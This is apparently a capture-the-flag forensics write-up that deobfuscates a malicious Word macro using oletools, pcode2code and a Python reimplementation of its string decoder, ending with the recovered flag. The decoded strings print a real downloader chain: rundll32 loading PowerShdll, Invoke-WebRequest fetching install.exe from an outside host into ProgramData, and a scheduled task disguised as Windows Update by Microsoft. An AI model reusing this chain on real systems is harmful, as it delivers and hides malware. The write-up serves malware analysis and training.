The Challenge

For this challenge we had an ISO file that contains this Office document.

We are gonna use the oletool suite to try to see if there is anything suspicious in that file.

oledump

The oledump utility shows us that there are macros that appear suspicious. We are gonna use the olevba utility to get more infos on the macros

olevba

That definitely looks odd. Nonetheless, when we try to decode the base64 strings, it looks like non-sense so we are gonna try to look at the macro code. The problem is that it’s been compiled into assembly so we don’t have a direct access to the VBA. We are gonna use a utility called pcode2code to transform back the pcode into human-readable VBA which gives us this file.

Good news is that this is human readable-code, bad news is that it is completely obfuscated. So our main task will be to deobfuscate it. We can notice a lot of code chunks using the Chr function that converts a number to a char so we can guess that those are hidden strings. By simply copying those in a python file and renaming Chr to chr plus a few minor modifications, we can retrieve them and replace them in the original code. For example : td.RegistrationInfo.Author = SazX46jj("m" & Chr(int("&H4f")) & Chr(-878 + 958) & Chr(&H32) & "U" & Chr(75) & Chr(-2899 + 3012) & Chr(int("55")) & Chr(int("47")) & Chr(2158 - 2109) & Chr(int("&H52")) & Chr(1501 - 1390) & Chr(int("112")) & Chr(476 - 360) & Chr(-1634 + 1716) & Chr(int("71")) & Chr(113) & Chr(&H76) & Chr(int("106")) & Chr(99) & Chr(int("&H55")) & Chr(int("&H75")) & Chr(int("&H43")) & Chr(&H30) & Chr(47) & Chr(int("&H46")) & Chr(88) & Chr(8301 - 8247) & Chr(&H2B) & Chr(int("108")) & "9" & Chr(&H64)) will now be : td.RegistrationInfo.Author = deobf_str("mOP2UKq7/1RoptRGqvjcUuC0/FX6+l9d")

Every encoded string seems to be another base64 string but they also don’t decode into anything readable. However, we can notice that each of the base64-like strings are given to the same function that we will name deobf_str. That gives us the stage_1 file that is partially decoded. After trying to understand how the script works, we got the stage_2 file that has its symbols renamed with a coherent name and also more coherent types.

Now that we have an approximation of what the deobf_str function does, we will recode it in Python and try to get see what is hidden in the Base64-like strings. Here is the corresponding script :


from curses.ascii import isdigit, islower, isupper
import sys

def binary_transform1(elem, op):
    out = elem
    if op > 0:
        if elem > 0:
            out = int(out / (2 ** op))
        else:
            if op > 31:
                out = 0
            else:
                out = out & 0x7FFFFFFF
                out = int(out / (2 ** op))
                out = out | (2 ** (31 - op))
    return out

def binary_transform2(elem, op):
    out = elem
    if op > 0:
        for i in range(op):
            m = out & 0x40000000
            out = (out & 0x3FFFFFFF) * 2
            if m != 0:
                out = out | 0x80000000
    return out

def binary_transform3(setup):
    d1 = 7
    d2 = 14
    t = ((setup ^ binary_transform1(setup, d2)) & 52428)
    u = setup ^ t ^ binary_transform2(t, d2)
    t = (u ^ binary_transform1(u, d1)) & 5570645
    out = (u ^ t ^ binary_transform2(t, d1))
    return out

def crypto_style_mega_binary_transform(pre_final_result):
    return_value = ""
    for i in range(len(pre_final_result)):
        fr = i * 4
        if fr + 3>= len(pre_final_result):
            break
        setup = 0
        setup = setup | binary_transform2(pre_final_result[fr + 3], 24)
        setup = setup | binary_transform2(pre_final_result[fr + 2], 16)
        setup = setup | binary_transform2(pre_final_result[fr + 1], 8)
        setup |= pre_final_result[fr]
        raw = binary_transform3(setup)
        a = chr(binary_transform1(raw & 0xff000000, 24))
        B = chr(binary_transform1(raw & 16711680, 16))
        c = chr(binary_transform1(raw & 65280, 8))
        d = chr(binary_transform1(raw & 255, 0))
        return_value = return_value + d + c + B + a
    return return_value



matrix = [0] * 256
arr1 = [0] * 64
arr2 = [0] * 64
arr3 = [0] * 64

for i in range (256):
    if isupper(i):
        matrix[i] = i - 65
    elif islower(i):
        matrix[i] = i - 71
    elif isdigit(i):
        matrix[i] = i + 4
    elif i == ord("+"):
        matrix[i] = ord(">")
    elif i == ord("/"):
        matrix[i] = ord("?")

for i in range(64):
    arr1[i] = i * 64
    arr2[i] = i * 64 * 64
    arr3[i] = i * 64 * 64 * 64

arg_str = sys.argv[1]
pre_final_result = [0] * (int((len(arg_str) + 1) / 4) * 3)
index_pre_final_result = 0

arg_str_array = [ord(i) for i in arg_str]

for iter in range(0, len(arg_str_array), 4):
    mega_byte = arr3[matrix[arg_str_array[iter]]] + arr2[matrix[arg_str_array[iter + 1]]] + arr1[matrix[arg_str_array[iter + 2]]] + matrix[arg_str_array[iter + 3]]
    i = mega_byte & 0xff0000
    pre_final_result[index_pre_final_result] = int(i / 0x10000)
    i = mega_byte & 0xff00
    pre_final_result[index_pre_final_result + 1] = int(i / 0x100)
    pre_final_result[index_pre_final_result + 2] = mega_byte & 0xff
    index_pre_final_result += 3

deobf_str = crypto_style_mega_binary_transform(pre_final_result).strip("~")
print(deobf_str)

We will give each string to that script and try to see what they are corresponding to :


/usr/local/bin/python3 deobfuscate.py "oPhSWfo8/Qbyq3BYqC59Urpr+lGyyHEfqt7uVGiy8VjwrlwV6q3UHqjj8lyoOvlUuCreUfho+1GqWpxDsK7wUappuFOi+/dR0qhwVvCqU0U="
/usr/local/bin/python3 deobfuscate.py "Evw9TPCsd1Ui/z1aoL1zXuhzM0yquVhXuGLWGaKHWl342F1d"
/usr/local/bin/python3 deobfuscate.py "iP7eVuiy8VjwqlwV8KpYFeCj/lTwRFVBuMlMVPKv8xSK4zRToL/wXOI0cBegu/VSsMhQXOg1XR7ik/9VuO/VWbivUlygvnBS6KNUH/Kt/RW44PNd8Kh8FbC68BCwy+Ndkq9YVPjYXV0="
/usr/local/bin/python3 deobfuscate.py "Evg5SLrp1VMwrXBRIO9cXvCsd1Viv3laor9TWLguWlXo6V5f"
/usr/local/bin/python3 deobfuscate.py "ooz2QrAlVxVqoWBQEKSoUGDjwFAApaFQALXEVgClqVAK5SBWAKWoUWjzdVEAralRYOHkUACloVko90RQAKygUWqhVVWAJClZIOPAEBCsqFBo8XVRgCQpWUjzZlCAJClZAPX3VwCkoFEqoURUAKWpUKKK+AjSNlJT+HL8XA=="
/usr/local/bin/python3 deobfuscate.py "gqV5VqC/WFWi28dQuqfQVg=="
/usr/local/bin/python3 deobfuscate.py "mOP2UKq7/1RoptRGqvjcUuC0/FX6+l9d"
/usr/local/bin/python3 deobfuscate.py "au1hUSCmzFVAtcFSGOhzGwD110Z4/llQ6vj1QKKhTV04+lEQKORgEaBmzV3Y4uZQeqx9VYD2f0hY+FdSAPzfRsjr51nyJHFZ"
/usr/local/bin/python3 deobfuscate.py "qlBUCugWcgwi2FUKulBVCupQV04="
/usr/local/bin/python3 deobfuscate.py "uK/UVug+OVDY+l1d"
/usr/local/bin/python3 deobfuscate.py "Evg5SLrp1VMwrXBRIO9cXvCsd1Viv3laor9TWLguWlXo6V5f"
/usr/local/bin/python3 deobfuscate.py "mqt4Vqqz8xmAvnBS6OtcXw=="
/usr/local/bin/python3 deobfuscate.py "+q94VrLvdFlymE4fyL7fVvi2wFPocndd"
/usr/local/bin/python3 deobfuscate.py "+q94VrLvdFlymE4fyL7fVvi2wFPocndd"
/usr/local/bin/python3 deobfuscate.py "+q94VrLvdFlymE4fyL7fVvi2wFPocncZmu98EjLRRVui7/dQ+vh9Xw=="
/usr/local/bin/python3 deobfuscate.py "ivPlUuC4dhzSqPBW+PpfXQ=="
➜  forensics_newera sh strs
https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x64/Release/PowerShdll.dl
C:\Windows\System32\rundll32.exe 
\powershdll.dll,main . { Invoke-WebRequest -useb https://windowsliveupdater.com/install.exe -OutFile 
C:\ProgramData\windows\install.exe
; echo 'cABhAHIAdAAxACAAPQAgACIASABUAEIAewBzAGMAaAAzAGQAdQBsADEAbgBnAF8AdAA0AHMAawBzAF8AMQBzAF8AYwAwADAAbABfACIA' } ^| iex;
Schedule.Service
Microsoft Corporation
cGFydDIgPSAiYnV0X3AwdzNyc2gzbGxfdzF0aDB1dF9wMHczcnNoM2xsXzFzX2MwMGwzcn0i
2022-02-22T22:22:22
tigger.ID
C:\ProgramData\windows\install.exe
Windows Update
winmgmts:\\.\root\cimv2
winmgmts:\\.\root\cimv2
winmgmts:\\.\root\cimv2:Win32_Process
WScript.Shell

That definetly looks like a shady macro and there is a particularly peculiar string in those which is

; echo 'cABhAHIAdAAxACAAPQAgACIASABUAEIAewBzAGMAaAAzAGQAdQBsADEAbgBnAF8AdAA0AHMAawBzAF8AMQBzAF8AYwAwADAAbABfACIA' } ^| iex;

Once decoded, the base64 string gives us part1 = "HTB{sch3dul1ng_t4sks_1s_c00l_". We guess that the second part is in the other base64 string which gives us, once decoded : part2 = "but_p0w3rsh3ll_w1th0ut_p0w3rsh3ll_1s_c00l3r}". We now have the full flag.